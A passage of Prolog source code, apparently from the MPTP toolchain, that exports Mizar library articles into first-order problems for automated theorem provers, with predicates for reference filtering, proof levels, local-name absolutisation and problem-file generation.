fail if the sort is trivial or only attributes.\n%% sort(u2_struct_0(_G250), m1_subset_1(u1_struct_0(_G250)))\n%% becomes \n%% type(u2_struct_0(A1), m1_subset_1(u2_struct_0(A1),u1_struct_0(A1))).\nfunc_type_fla2momm(MptpFla, MommFla):-\n\tensure(strip_univ_quant(MptpFla,sort(Term, AttrsAndRadix),_), func_type_fla2momm(MptpFla)), \n\tconstr2list('&', Radix, _ , AttrsAndRadix),\n\tRadix =.. [ Mode | Args],\n\tmptp_mode_sym(Mode),\n\tNewRadix =.. [ Mode, Term | Args],\n\tMommFla = type(Term, NewRadix).\n\n%% mode_type_fla2momm(+MptpFla, -MommFla)\n%%\n%% Create a MoMM mode type fla from MPTP mode type fla.\n%% This can fail if the supersort is trivial or only attributes.\n%% (sort(_G250, l2_struct_0)=>sort(_G250, l1_struct_0))\n%% becomes \n%% type(l2_struct_0(A1), l1_struct_0(A1)).\n%% and\n%% (sort(_G278, m2_subset_1(_G250, _G258))=>sort(_G278, m1_subset_1(_G250)))\n%% becomes\n%% type(m2_subset_1(A3,A1,A2), m1_subset_1(A3,A1)).\nmode_type_fla2momm(MptpFla, MommFla):-\n\tensure(strip_univ_quant(MptpFla,sort(Var, DefSort) => Sorts,_), mode_type_fla2momm(MptpFla)), \n\tconstr2list('&', sort(Var1, Radix), _ , Sorts),\n\tensure((Var == Var1), mode_type_fla2momm(MptpFla)),\n\tRadix =.. [ Mode | Args],\n\tmptp_mode_sym(Mode),\n\tDefSort =.. [ DefMode | DefVars],\n\tNewDefSort =.. [ DefMode, Var | DefVars], \n\tNewRadix =.. [ Mode, Var | Args],\n\tMommFla = type(NewDefSort, NewRadix).\n\n\n%%%%%%%%%%%% end of MoMM export %%%%%%%%%%%%%%%%%%%%%\n\n%% test uniqueness of references inside Article, \n%% creating also scheme instances and abstracting fraenkels\ntest_refs(Article):-\t\n\tmml_dir_atom(MMLDir),\n\tconcat_atom([MMLDir, Article, '.xml2'],File),\n\tconcat_atom([MMLDir, Article, '.dcl2'],DCL),\n\tconcat_atom([MMLDir, Article, '.dco2'],DCO),\n\tconcat_atom([MMLDir, Article, '.the2'],THE),\n\tconcat_atom([MMLDir, Article, '.sch2'],SCH),\n\t%% remove the ovelapping mml parts first\n\tretractall(fof(_,_,_,file(Article,_),_)),\n\tsublist(exists_file,[DCO],ToLoad1),\n\tload_files(ToLoad1,[silent(true)]),\n\tconsult(File),\n\tinstall_index,\n\tonce(assert_sch_instances(Article,Options)),\n\tinstall_index,\n\tabstract_fraenkels(Article, [], _, _),\n\tinstall_index,!,\n\n\tfindall([Fof1,Fof2], (fof_file(Article, Id1),fof_name(X,Id1),fof_name(X,Id2),\n\t\t\t\t Id1 < Id2, \n\t\t\t\t clause(Fof1,_,Id1),\n\t\t\t\t clause(Fof2,_,Id2)),S),\n\tprint(S),nl,length(S,N),print(N),\n\tretractall(fof(_,_,_,file(Article,_),_)),\n\tsublist(exists_file,[DCL,DCO,THE,SCH],ToLoad),\n\tload_files(ToLoad,[silent(true)]),!.\n\n\n%% test uniqueness of references inside Article (simple version)\ntest_refs_simple(Article):-\n\tmml_dir_atom(MMLDir),\n\tconcat_atom([MMLDir, Article,'.xml2'],File),\n\tconsult(File),\n\tinstall_index,\n\tfindall([Fof1,Fof2], (fof_name(X,Id1),fof_name(X,Id2),\n\t\t\t\t Id1 < Id2, clause(Fof1,_,Id1),\n\t\t\t\t clause(Fof2,_,Id2)),S),\n\tprint(S),nl,length(S,N),print(N),\n\tretractall(fof(_,_,_,file(Article,_),_)),!.\n\n%% Shorter is an ancestor level or equal to Longer\nsublevel(Longer,Shorter) :- append(Shorter,_,Longer).\n\n%% Shorter is a (strict) ancestor level of Longer\nstrict_sublevel(Longer,Shorter) :- append(Shorter,[_|_],Longer).\n\n%% filter out refs with more special level\nfilter_level_refs(Lev,RefsIn,RefsOut):-\n\tsort(RefsIn,Refs1),\n\tfindall(Ref,(member(Ref,Refs1),\n\t\t     get_ref_fof(Ref,fof(Ref,_,_,_,Info)),\n\t\t     Info = [mptp_info(_,Lev1,_,_,_)|_],\n\t\t     sublevel(Lev,Lev1)), RefsOut).\n%\tfindall(Ref,(member(Ref,RefsIn),atom_chars(Ref,[C|_]),\n%\t\t     member(C,[t,d,l])), Refs1),\n\n%% filter_for_proved_by(+F, +P, +Lev, +MPropKind, +InfKind, +Refs0, -ProvedByRefs)\n%%\n%% Return refs used for initialising proved_by relation.\nfilter_for_proved_by(_F, _P, Lev, MPropKind, InfKind, Refs0, ProvedByRefs):-\n\t(\n\t  InfKind == mizar_proof ->\n\t  filter_level_refs(Lev, Refs0, Refs1)\n\t;\n\t  (\n\t    member(MPropKind,[fcluster,ccluster,rcluster]) ->\n\t    filter_level_refs(Lev, Refs0, Refs1)\n\t  ;\n\t    Refs1 = Refs0\n\t  )\n\t),\n\tfindall(R, (member(R,Refs1), not(mptp_req_name(R))), ProvedByRefs).\n\n\n%% filter out refs with this or more special level\nget_superlevel_refs(Lev,RefsIn,RefsOut):-\n\tsort(RefsIn,Refs1),\n\tfindall(Ref,(member(Ref,Refs1),\n\t\t     get_ref_fof(Ref,fof(Ref,_,_,_,Info)),\n\t\t     Info = [mptp_info(_,Lev1,_,_,_)|_],\n\t\t     strict_sublevel(Lev,Lev1)), RefsOut).\n\n\n%% childern and descendants of a level expressed as atom (for speed)\n%% ###TODO: seems that for percases blocks only the level of the percases\n%% justification saves this recursion - we should have thesis for\n%% each percases block, and all subblocks, with proper levels\nat_level_children(At1,Childs):- findall(C, fof_parentlevel(At1,C), Childs).\nat_level_descendents(At1,Descs):-\n\tat_level_children(At1,Childs),\n\t( Childs = [], Descs = [];\n\t    Childs \\= [],\n\t    maplist(at_level_descendents,Childs,Ds1),\n\t    flatten([Childs|Ds1], Descs)).\n\n%% all fof names on this level (block) and below, uses fof_level/2 and\n%% fof_parentlevel/2 for speed\nget_sublevel_names(Lev,Names):-\n\tlevel_atom(Lev, At1),\n\tat_level_descendents(At1, Descs),\n\tfindall(Name,( member(L1, [At1|Descs]),\n\t\t      fof_level(L1, Id),\n\t\t      clause(fof(Name,_,_,_,_),_,Id)), Names).\n\nget_sublevel_proved_names(Lev,Names):-\n\tlevel_atom(Lev, At1),\n\tat_level_descendents(At1, Descs),\n\tfindall(Name,( member(L1, [At1|Descs]),\n\t\t      fof_level(L1, Id),\n\t\t      clause(fof(Name,_,_,_,[_,inference(_,_,_)|_]),_,Id)),\n\t\tNames).\n\n\n%% all fof names on this level (block); uses fof_level/2 and\n%% fof_parentlevel/2 for speed\nget_thislevel_names(Lev,Names):-\n\tlevel_atom(Lev, At1),\n\tat_level_children(At1, Descs),\n\tfindall(Name,( member(L1, [At1|Descs]),\n\t\t      fof_level(L1, Id),\n\t\t      clause(fof(Name,_,_,_,_),_,Id)), Names).\n\n%% get only this-level references for Lev from RefsIn\n%% the top-level included in RefsIn, which are not references of\n%% anything below are included too (should be useful e.g. fro definitional\n%% expansions done in this level) - note that some background adding might\n%% be needed after that.\n\n%% simplified version - we cannot rely on RefsIn, since\n%% lemmas with subproofs are not there\nget_thislevel_refs_simple(Lev, _, ThisLevelRefs, []) :-\n\tget_thislevel_names(Lev, ThisLevelNames),\n\tfindall(Ref,\n\t\t(\n\t\t  member(Ref,ThisLevelNames),\n\t\t  get_ref_fof(Ref,fof(Ref,_,_,_,Info)),\n\t\t  Info = [mptp_info(_,Lev,_,_,_),inference(_,_,_) |_]\n\t\t),\n\t       ThisLevelRefs).\n\n%% better (standard) version - takes ThesisExpansions into account\nget_thislevel_refs(Lev, RefsIn, ThisLevelRefs, SuperLevelRefs):-\n\tget_thislevel_names(Lev, ThisLevelNames),\n\t%% select only justified, collect their references\n\tfindall([Ref,Refs],\n\t\t(\n\t\t  member(Ref,ThisLevelNames),\n\t\t  get_ref_fof(Ref,fof(Ref,_,_,_,Info)),\n\t\t  Info = [mptp_info(_,Lev,_,_,_),inference(_,_,Refs)|_]\n\t\t),\n\t       RefRefs),\n\tzip(ThisLevelRefs,ThisRefRefsLists,RefRefs),\n\tflatten(ThisRefRefsLists,ThisRefRefs1),\n\tsort(ThisRefRefs1,ThisRefRefs),\n\tget_superlevel_refs(Lev,RefsIn,SuperLevelRefs1),\n\t%% remove all superlevel refs used inside ThisLevelRefs - a bit heuristical\n\tsubtract(SuperLevelRefs1,ThisRefRefs,SuperLevelRefs).\n\n\n\n%% get all (also proof-local) symbols used in this proof, and all\n%% formula names in the proof. the proof\n%% is described by the explicit references and the proof level.\n%% Symbols from the references and from all formulas on this level\n%% and below are collected.\n%% used as input for the fixpoint algorithm\n%% NOTE: proof-local symbols cannot be filtered-out here. E.g.\n%%   if we filtered-out a locally reconsidered constant, whose\n%%   original is outside this proof, we would never reach the original\n%%   in the fixpoint algorithm. So we have to pass all symbols to\n%%   the fixpoint algorithm, and filter the proof-local flas afterwards.\nget_proof_syms_and_flas(RefsIn, PLevel, PSyms, PRefs):-\n\tget_sublevel_names(PLevel, Names),\n\tappend(RefsIn, Names, AllNames),\n\tsort(AllNames, PRefs),!,\n\tmaplist(get_ref_fla, PRefs, Flas1),\n\tcollect_symbols_top(Flas1, PSyms).\n\n%% Create the abs_name table for all local references and constants\n%% by checking if their name ends with _Article or not.\n%% If not, __Article is appended.\n%% Local constants are done by their type declaration - so\n%% ##REQUIRE: Local constants always have their type declaration (even if trivial).\n%% ##TEST: generate problems for some articles with absolute_locals:- fail., then\n%%         generate with absolute_locals, then check with low timelimit that the results\n%%         of E prover are the same.\nabsolutize_locals(Article):-\n\tabolish(abs_name/2),\n\tdynamic(abs_name/2),\n\tatom_concat('_',Article,ArticleSuffix),\n\tatom_concat('__',Article,ArticleSuffix1),!,\n\trepeat,\n\t(\n\t  fof_file(Article,Id),\n\t  %% ##NOTE: indexing fof_name on second param makes things very slow,\n\t  %% hence use clause/3 instead of fof_name/2 here\n\t  clause( fof(Ref,_,_,_,_),_,Id),\n\t  (\n\t    atom_concat(_,ArticleSuffix,Ref) -> true\n\t  ;\n\t    atom_concat(Ref,ArticleSuffix1,AbsName),\n\t    assert(abs_name(Ref,AbsName)),\n\t    %% register local constants from their types\n\t    (\n\t      atom_concat('dt_c',Rest,Ref) ->\n\t      atom_concat(c,Rest,Constant),\n\t      atom_concat(Constant,ArticleSuffix1,ConstantAbsName),\n\t      assert(abs_name(Constant,ConstantAbsName))\n\t    ;\n\t      true\n\t    )\n\t  ),\n\t  fail\n\t;\n\t  true\n\t).\n\n%%%%%%%%%%%%%%%%%%%% Problem creation %%%%%%%%%%%%%%%%%%%%\n/*\n  Master plan for the TSTP export and ATP cross-verification\n  of large proofs:\n\n Example:\n  for X1 being T1 st P1(X1) holds\n  for X2 being T2 of X1 ex X3 being T3 of X1 st P3(X3,X2)\nproof\n  let c1 be T1;\n  assume A1: P1(c1);\n  let c2 be T2 of c1;\n  A2: Q1(c1,c2) by Th1;\n  reconsider c3 = F1(c1,c2) as T4 of c1 by A2;\n  consider c4 being T5 of c3 by Def1;\n  A3: Q2(c4) by Th2;\n  A4: Q3(c4) by A1,A3, Th3;\n  reconsider c5 = c4 as T3 of c1 by A4;\n  take c5;\n  A5: for X4 being T6 of c1,c2 holds Q4(X4,c5)\n  proof\n    let c6 be T6 of c1,c2;\n    A6: Q5(c6, c5) by Th4;\n    thus A7: Q4(c6,c5) by A4,A6, Th5;\n  end;\n  thus A8: P3(c5,c2) by A5,Th6;\nend;\n\ntranslation:\nproof\n  fof(dc_c1,henkin_ax1, (sort(c1,t1) => (p1(c1) => ![X2:t2(c1)]:(?[X3:t3(c1)]:p3(X3,X2))) =>\n                        (![X1:t1]:(p1(X1) => ![X2:t2(X1)]:(?[X3:t3(X1)]:p3(X3,X2))))).\n\n  fof(dt_c1,assumption, sort(t1,c1)).\n  fof(a1, assumption, p1(c1)).\n  for(dc_c2,henkin_ax2, (ex X3 being T3 of c1 st P3(X3,c2)) =>\n                        (![X2:t2(c1)]:(?[X3:t3(c1)]:p3(X3,X2)))).\n  fof(a2,lemma, q1(c1,c2), th1).\n  fof(e1,lemma, sort(f1(c1,c2),t4(c1)), a2).\n  fof(dc_c3,def, c3 = f1(c1,c2)).\n  fof(e2,lemma, ?([X], sort(X,t5(c3))), def1).\n  for(dc_c4,henkin_ax4, ?([X], sort(X,t5(c3))) => sort(c4,t5(c3))).\n  fof(dt_c4,lemma,sort(c4,t5(c3)),e2,dc_c4).\n  fof(a3,lemma, q2(c4), th2).\n  fof(a4,lemma, q3(c4), a1,a3,th3).\n  fof(e3,lemma, sort(c4,t3(c1)), a4).\n  fof(dc_c5,def, c5 = c4).\n  take ... just changing thesis\n  fof(a5, (![X4:t6(c1,c2)]: q4(X4,c5)), proof(1)).\n  proof\n    fof(dc_c6,henkin_ax6, q4(c6,c5) => (![X4:t6(c1,c2)]: q4(X4,c5))).\n    fof(a6,lemma, q5(c6,c5), th4).\n    fof(a7,lemma, q4(c6,c5), a4,a6).\n    ... now eliminating the const:\n    fof(a5, (![X4:t6(c1,c2)]: q4(X4,c5)), dc_c6,a7).\n  end;\n  fof(a8, p3(c5,c2), a5,th6).\n  ... now justifing the subsequent theses bottom-up:\n  fof(r_take, ?[X3:t3(c1)]:p3(X3,c2), e3,a8).\n  fof(r_dc_c2, ![X2:t2(c1)]:(?[X3:t3(c1)]:p3(X3,X2)), r_take, dc_c2).\n  fof(r_a1, p1(c1) => ![X2:t2(c1)]:(?[X3:t3(c1)]:p3(X3,X2)), discharge(a1), r_dc_c2).\n  fof(r_dt_c1, sort(c1,t1) => (p1(c1) => ![X2:t2(c1)]:(?[X3:t3(c1)]:p3(X3,X2))), discharge(dt_c1), r_a1).\n  fof(r_dc_c1, ![X1:t1]:(p1(X1) => ![X2:t2(X1)]:(?[X3:t3(X1)]:p3(X3,X2))), r_dt_c1, dc_c1).\nend;\n\ninference DAG:\n  axioms:    th2 th3 th4 dc_c6 th6  dc_c2   dc_c1 def1 dc_c4 dc_c3 dc_c5 dc_c6\n              |   |   /   /     /      /      /    |     /\n      ass:a1  a3 /  a6   /     /      /      /     e2   /        \n            \\ | /  /    /     /      /      /        \\ /\n              a4  /    /     /      /      /        dt_c4\n              | \\/    /     /      /      /\n             e3 a7   /     /      /      /\n              \\   \\ /     /      /      /\n               \\  a5     /      /      /\n                \\   \\   /      /      /\n                 \\   a8       /      /\n                  \\   |      /      /\n                   r_take   /      /\n                         \\ /      /\n                       r_dc_c2   /\n                          |     /\n              disch(a1): r_a1  /\n                          |   /\n                        r_dc_c1\n\n*/\n\n%% get_smaller_includes(+Article, +AllIncludes, -SmallerIncludes)\n%%\n%% Select into SmallerIncludes all articles from AllIncludes\n%% smaller than Article, sort them by MML order.\nget_smaller_includes(Article, AllIncludes, SmallerIncludes):-\n\tsublist(cmp_articles_in_mml_order(>, Article), AllIncludes, SmallerIncludes0),\n\tsort_articles_in_mml_order(SmallerIncludes0, [], SmallerIncludes).\n\n%% needed_environ(+Article, +AddedNonMML, -Articles)\n%%\n%% AddedNonMML (usually empty list) can be used to pass extra nonMML\n%% articles that will be appended to MML in that order for numbering.\nneeded_environ(Article, AddedNonMML, Articles):-\n\ttheory(Article, Theory),\n\tmember(constructors(Constrs),Theory),\n\tmember(registrations(Regs),Theory),\n\tmember(requirements(Reqs),Theory),\n\tmember(definitions(Defs),Theory),\n\tmember(theorems(Thms),Theory),\n\tmember(schemes(Schms),Theory),\n\tunion1([Constrs,Regs,Reqs,Defs,Thms,Schms],[],Articles0),\n\tsort_articles_in_mml_order(Articles0, AddedNonMML, Articles).\n\n%% ##TEST: :- first100(L),print_env_deps(mml1,L).\n%% ##TEST: :- print_env_deps(mmldeps).\n%%            \nprint_env_deps(File):-\n\tall_articles(L),!,\n\tprint_env_deps(File,L).\n\n% print_env_deps(+File,+Articles)\n%\n% Print the environmental dependencies of Atricles into a File in the dot notation\nprint_env_deps(File,Articles):-\n\tdeclare_mptp_predicates,\n\tload_mml,\n\tinstall_index,\n\ttell(File),\n\twrite('strict digraph mml {'),\n\tnl,!,\n\t(\n\t member(A,Articles),\n\t needed_environ(A,[],As),\n\t once(findall(d,(member(R1,As),write(R1),format(\" -> \"),write(A),format(\";\"),nl),_)),\n\t fail\n\t;\n\t write('}'),\n\t nl,\n\t told\n\t).\n\n\n\n%% ensure that fraenkels are abstracted in all prerequisities\n%% of Article (changes the fraenkels_loaded/1 predicate).\n%% calling install_index after this is a good idea\nabstract_prereq_fraenkels(Article, Options):-\n\t(member(opt_ADDED_NON_MML(AddedNonMML),Options) ->\n\t    Added = AddedNonMML\n\t;\n\t    Added = []\n\t),\n\tneeded_environ(Article, Added, Prereqs),\n\tchecklist(abstract_fraenkels_if, Prereqs).\n\n%% should be used only right after loading a full article File\n%% current usage is for determining clusters' area of validity in fixpoint\ninstall_article_positions(File):-\n\tabolish(article_position/2),\n\tdynamic(article_position/2),\n\tflag(a_pos,_,0),\n\trepeat,\n\t(\n\t  fof(Ref1,_,_,file(File,_),_),\n\t  flag(a_pos, APos, APos + 1),\n\t  assert(article_position(Ref1, APos)),\n\t  fail\n\t;\n\t  true\n\t),!.\n\n%% load_proper_article(+Article,+Options,-PostLoadFiles)\n%%\n%% Load all article reasoning parts, create the MPTP-added stuff\n%% like fraenkel defs, etc., prepare the problem directory and return\n%% it, and return list of files that will have to be reloaded,\n%% after retractall(fof(_,_,_,file(Article,_),_)), is run after\n%% the main processing.\nload_proper_article(Article,Options,PostLoadFiles):-\n\t(\n\t  member(opt_NON_MML_DIR(NonMMLDir),Options) ->\n\t  Dir = NonMMLDir\n\t;\n\t  mml_dir_atom(Dir)\n\t),\n\tconcat_atom([Dir, Article, '.xml2'],File),\n\tconcat_atom([Dir, Article, '.dcl2'],DCL),\n\tconcat_atom([Dir, Article, '.dco2'],DCO),\n\tconcat_atom([Dir, Article, '.the2'],THE),\n\tconcat_atom([Dir, Article, '.sch2'],SCH),\n\tconcat_atom([Dir, Article, '.err2'],ERR),\n\tretractall(miz_errors(_)),\n\t(\n\t  member(opt_LOAD_MIZ_ERRORS,Options) ->\n\t  sublist(exists_file,[ERR],ERR1),\n\t  load_files(ERR1,[silent(true)])\n\t;\n\t  true\n\t),\n\t%% remove the ovelapping mml parts first\n\tretractall(fof(_,_,_,file(Article,_),_)),\n\tretractall(fraenkels_loaded(Article)),\n\t%% ###TODO: this willbe no longer needed as the dco is in xml\n\tsublist(exists_file,[DCO],ToLoad1),\n\tload_files(ToLoad1,[silent(true)]),\n\tconsult(File),\n\tassert_arith_evals(_),\n\tassert_arith_reqs(_),\n\tinstall_article_positions(Article),\n\tinstall_index,\n\tonce(assert_sch_instances(Article,Options)),\n\tinstall_index,\n\tabstract_fraenkels(Article, [], _, _),\n\tabstract_prereq_fraenkels(Article, Options),\n\tinstall_index,\n\t(\n\t  member(opt_DBG_LEVS_POS,Options) ->\n\t  findall([FL1,RefL1,PosR1],\n\t\t  (\n\t\t    fof_level(FL1,IdL1),\n\t\t    clause(fof(RefL1,_,_,_,_),_,IdL1),\n\t\t    article_position(RefL1,PosR1)\n\t\t  ),\n\t\t  FLevs),\n\t  print(FLevs)\n\t;\n\t  true\n\t),\n\tsublist(exists_file,[DCL,DCO,THE,SCH],PostLoadFiles).\n\n%% prepare_for_article(+Article,+Options,-Dir,-PostLoadFiles)\n%%\n%% Load all article reasoning parts, create the MPTP-added stuff\n%% like fraenkel defs, etc., prepare the problem directory and return\n%% it, and return list of files that will have to be reloaded,\n%% after retractall(fof(_,_,_,file(Article,_),_)), is run after\n%% the main processing.\nprepare_for_article(Article,Options,Dir,PostLoadFiles):-\n\tload_proper_article(Article,Options,PostLoadFiles),\n\t(\n\t  member(opt_NON_MML_DIR(NonMMLDir),Options) ->\n\t  concat_atom([NonMMLDir,'/problems/',Article,'/'],Dir)\n\t;\n\t  concat_atom(['problems/',Article,'/'],Dir)\n\t),\n\t(exists_directory(Dir) -> (string_concat('rm -r -f ', Dir, Command),\n\t\t\t\t      shell(Command)); true),\n\tmake_directory(Dir).\n\n%% make nd problems for an Article\n%% generating problems for all MPTP Challenge articles:\n%% ##TEST: :- declare_mptp_predicates,load_mml,install_index,\n%%            L=[ compts_1, connsp_2, enumset1, filter_1, finset_1, funct_1, funct_2,\n%%\t\tlattice3, lattices, mcart_1, orders_2, ordinal1, pre_topc, relat_1,\n%%\t\trelset_1, setfam_1, subset_1, tex_2, tmap_1, tops_1, tops_2, waybel_0,\n%%\t\twaybel_7, waybel_9, wellord1, wellord2, xboole_0, xboole_1, yellow_0,\n%%\t\tyellow_1, yellow19, yellow_6, zfmisc_1], member(A,L),\n%%            mk_article_nd_problems(A,_,[opt_REM_SCH_CONSTS,opt_MK_TPTP_INF, opt_ADD_INTEREST]),fail.\n%%\n%% generate GDV derivations for 20 articles for CASC batch division:\n%% (first abstract all fraenkels, to keep them consistent):\n%% ##TEST:  declare_mptp_predicates, load_mml, install_index, all_articles(ArticleNames),\n%%          checklist(abstract_fraenkels_if, ArticleNames), install_index, !,\n%%          L=[autgroup,closure3,conlat_2,filter_2,isocat_2,latsubgr,latsum_1,lopclset,\n%%\t       relset_2,rmod_5,tsp_2,waybel22,waybel33,waybel34,yellow17,yoneda_1], member(A,L),\n%%\t    mk_article_nd_problems(A,_,[opt_REM_SCH_CONSTS,opt_MK_TPTP_INF, opt_ADD_INTEREST]),fail.\n%%\n%% generate GDV derivations for all articles:\n%% ##TEST: :- declare_mptp_predicates,load_mml,install_index,all_articles(L),!, member(A,L),\n%%            mk_article_nd_problems(A,_,[opt_REM_SCH_CONSTS,opt_MK_TPTP_INF, opt_ADD_INTEREST]),fail.\nmk_article_nd_problems(Article,_Kinds,Options):-\n\tprepare_for_article(Article,Options,Dir,PostLoadFiles),\n\tassert_henkin_axioms(Article,[]),\n\tinstall_index,\n\t%% create the table of local-to-global names if absolute_locals\n\t(absolute_locals -> absolutize_locals(Article); true),\n\n\trepeat,(mk_nd_problem(_,Article,Dir,Options),fail; !,true),\t\n\tretractall(fof(_,_,_,file(Article,_),_)),\n\tload_files(PostLoadFiles,[silent(true)]).\n\n\n%% Kinds is a list [InferenceKinds, PropositionKinds | Rest]\n%% possible InferenceKinds are now [mizar_by, mizar_from, mizar_proof]\n%% possible PropositionKinds are now [theorem, scheme,cluster,fcluster,ccluster,rcluster,top_level_lemma, sublemma]\n%% Rest is a list now only possibly containing snow_spec, problem_list and subproblem_list.\n%%\n%% The fraenkeldef creation for the loaded MML is done on demand,\n%% by looking at article's theory, and remembering which fraenkels\n%% are done at a special predicate fraenkels_loaded/1.\nmk_article_problems(Article,Kinds,Options):-\n\tprepare_for_article(Article,Options,Dir,PostLoadFiles),\n\t%% create the table of local-to-global names if absolute_locals\n\t(absolute_locals -> absolutize_locals(Article); true),\n\t(member(opt_ARTICLE_AS_TPTP_AXS,Options) ->\n\t article2tptp_include(Dir,Article)\n\t;\n\t true\n\t),\n\n\t%% now take care of possible subproblem_list option -\n\t%% create a problem_list from all local mizar_proof references which have the inference slot;\n\t%% to get all lemmas, we cannot rely on the inference slot, since it only\n\t%% contains those proved by simple justification!\n\t(\n\t  member(subproblem_list(PList), Kinds) ->\n\t  findall(Ref,\n\t\t  (\n\t\t    member(R1,PList),\n\t\t    get_ref_fof(R1,fof(R1,_,_,_,[_,inference(mizar_proof,InferInfo,_) |_])),\n\t\t    member(proof_level(Lev), InferInfo),\n\t\t    get_sublevel_proved_names(Lev,LRefs),\n\t\t    member(Ref, LRefs)\n\t\t  ),\n\t\t  AllRefs),\n\t  append(PList, AllRefs, AllProbs1),\n\t  sort(AllProbs1, AllProbs),\n\t  append(Kinds,[problem_list(AllProbs)],Kinds1)\n\t;\n\t  Kinds1 = Kinds\n\t),\n\n\t%% expand cluster into fcluster,ccluster,rcluster\n\tKinds1 = [InferenceKinds,PropositionKinds|Rest],\n\t(member(cluster,PropositionKinds) ->\n\t    delete(PropositionKinds,cluster,PKinds1),\n\t    union([fcluster,ccluster,rcluster],PKinds1,PKinds2),\n\t    Kinds2 = [InferenceKinds,PKinds2|Rest]\n\t;\n\t    Kinds2 = Kinds1\n\t),\n\t\t\n\trepeat,(mk_problem(_,Article,Dir,Kinds2,Options),fail; !,true),\n\t\n\t%% retract current file but return mml parts,\n\tretractall(fof(_,_,_,file(Article,_),_)),\n\tload_files(PostLoadFiles,[silent(true)]).\n\t%% abstracting here would not work, since the index is broken\n\t%% at this moment\n%\tabstract_fraenkels(Article, [], _, _),\n%\tassert(fraenkels_loaded(Article)).\n\n\n%% create proving problem for a given proposition,\n%% (P does not have to be instantiated), store it in file Prefix.P\n%% propositions only from the current article can be loaded -\n%% - otherwise change their naming\n%% mk_problem(?P,+F,+Prefix,+Kinds,+Options)\n%% possible InferenceKinds are now [mizar_by, mizar_proof, mizar_from]\n%% possible PropositionKinds are now: [theorem,scheme,fcluster,ccluster,rcluster,\n%% top_level_lemma, sublemma] (not that just cluster is not allowed here - has to be expanded above).\n%% Rest is now checked for containing snow_refs and problem_list([...]).\n%% The snow_spec of P have to be available in predicate\n%% snow_spec(P,Refs) and they are used instead of the Mizar refs,\n%% and InfKind is set to mizar_by. The problem_list([...]) is used for limiting\n%% the problems generated (P must be member of it).\n%% see opt_available/1 for Options.\n%% ###TODO: currently does not handle reconsidered const's type proof, since\n%%          the item_kind is not proposition (but constant)\n%%          also note that fixpoint is hardly needed for that inference\nmk_problem(P,F,Prefix,[InferenceKinds,PropositionKinds|Rest],Options):-\n\tmk_problem_data(P,F,Prefix,[InferenceKinds,PropositionKinds|Rest],\n\t\t\tOptions, Outfile,Line,Col,AllRefs),\n\tprint_problem(P,F,[InferenceKinds,PropositionKinds|Rest],\n\t\t      Options, Outfile,Line,Col,AllRefs).\n\n%% mk_problem_data(?P,+F,+Prefix,+[InferenceKinds,PropositionKinds|Rest],+Options,\n%%\t\t   -Outfile,-Line,-Col,-AllRefs)\n%%\n%% internal version for mk_problem, useful if the explicit reference list is needed\nmk_problem_data(P,F,Prefix,[InferenceKinds,PropositionKinds|Rest],Options,\n\t\tOutfile,Line,Col,AllRefs):-\n\ttheory(F, _Theory),\n\tmember(InfKind0,InferenceKinds),\n\tmember(PropKind,PropositionKinds),\n\t(\n\t  member(PropKind,[theorem,scheme,fcluster,ccluster,rcluster]),\n\t  MPropKind = PropKind\n\t;\n\t  not(member(PropKind,[theorem,scheme,fcluster,ccluster,rcluster])),\n\t  MPropKind = proposition,\n\t  (\n\t    PropKind = top_level_lemma,\n\t    Lev = []\n\t  ;\n\t    PropKind \\= top_level_lemma\n\t  )\n\t),\n\tfof(P,_,_Fla,file(F,_),[mptp_info(_Nr,Lev,MPropKind,position(Line0,Col0),Item_Info)\n\t\t\t       |Rest_of_info]),\n\n\t(member(MPropKind,[fcluster,ccluster,rcluster]) ->\n\t    ensure(Item_Info = [proof_level(_), Justification |_], cluster(Item_Info)),\n\t    (Justification = correctness_conditions([Correctness_Proposition1|_]) ->\n\t\tCorrectness_Proposition1 =.. [_Correctness_Condition_Name1, Corr_Proposition_Ref1],\n\t\tfof(Corr_Proposition_Ref1,_,_CPFla,file(F,Corr_Proposition_Ref1),\n\t\t    [_CP_Mptp_info, Inference_info|_])\n\t    ;\n\t\t%% forged inference for \"strict\" rcluster justified by the aggregate type\n\t\tensure(Justification = inference(mizar_by,_,_), cluster(Justification)),\n\t\tInference_info = Justification\n\t    )\n\t;\n\t    Rest_of_info = [Inference_info|_]\n\t),\n\n\t\n\t(\n\t  member(snow_spec, Rest) ->\n\t  snow_spec(P, Refs0),\n\t  InfKind = mizar_by,\n\t  Line = Line0,\n\t  Col = Col0\n\t;\n\t  Inference_info = inference(InfKind0,InfInfo,Refs0),\n\t  InfKind = InfKind0,\n\t  %% inference's position can differ from proposition's\n\t  (\n\t    member(position(Line,Col), InfInfo) -> true\n\t  ;\n\t    Line = Line0,\n\t    Col = Col0\n\t  )\n\t),\n\n\t%% filter if problem_list given (problem names or positions like pos(78,22))\n\t(\n\t  member(problem_list(PList), Rest) ->\n\t  (\n\t    member(P,PList) -> true\n\t  ;\n\t    member(pos(Line,Col), PList)\n\t  )\n\t;\n\t  true\n\t),\n\t\n\t(\n\t  member(opt_LINE_COL_NMS, Options) ->\n\t  concat_atom([Prefix,F,'__',Line,'_',Col],Outfile)\n\t;\n\t  (abs_name(P,AbsP) -> true; AbsP = P),\n\t  (\n\t    member(opt_CONJECTURE_NMS, Options) ->\n\t    concat_atom([Prefix,AbsP],Outfile)\n\t  ;\t   \n\t    concat_atom([Prefix,F,'__',P],Outfile)\n\t  )\n\t),\n\t% fof_name(P, Id1),\n\t%% this is used to limit clusters to preceding clauses from the nitial file;\n\t%% note that using the ordering of clauses in the initial file\n\t%% can be quite fragile (e.g. adding of frankels and scheme instances,...)\n\t%% OK, this is done safely now with article_position, nth_clause/3 was very slow\n\tensure(article_position(P,Pos1), throw(article_position1(P))),\n\t(\n\t  member(opt_NO_EX_BG_FLAS, Options) ->\n\t  InfKind1 = mizar_no_existence\n\t;\n\t  InfKind1 = InfKind\n\t),\n%\tfilter_level_refs(Lev,Refs0,Refs),\n\n\t(\n\t  member(opt_ALLOWED_REF_INFO, Options) ->\n\t  get_preceding_article_refs(F, P, AllowedLocalRefs),\n\t  concat_atom([Outfile,'.allowed_local'], AllowLocalSpecFile),\n\t  tell(AllowLocalSpecFile),\n\t  print(allowed_local(P,AllowedLocalRefs)),\n\t  write('.'),nl,\n\t  told\n\t;\n\t  true\n\t),\t \n\n\t(\n\t  member(opt_PROVED_BY_INFO, Options) ->\n\t  filter_for_proved_by(F, P, Lev, MPropKind, InfKind, Refs0, ProvedByRefs),\n\t  concat_atom([Outfile,'.proved_by0'], ProvedByFile),\n\t  tell(ProvedByFile),\n\t  print(proved_by(P,ProvedByRefs)),\n\t  write('.'),nl,\n\t  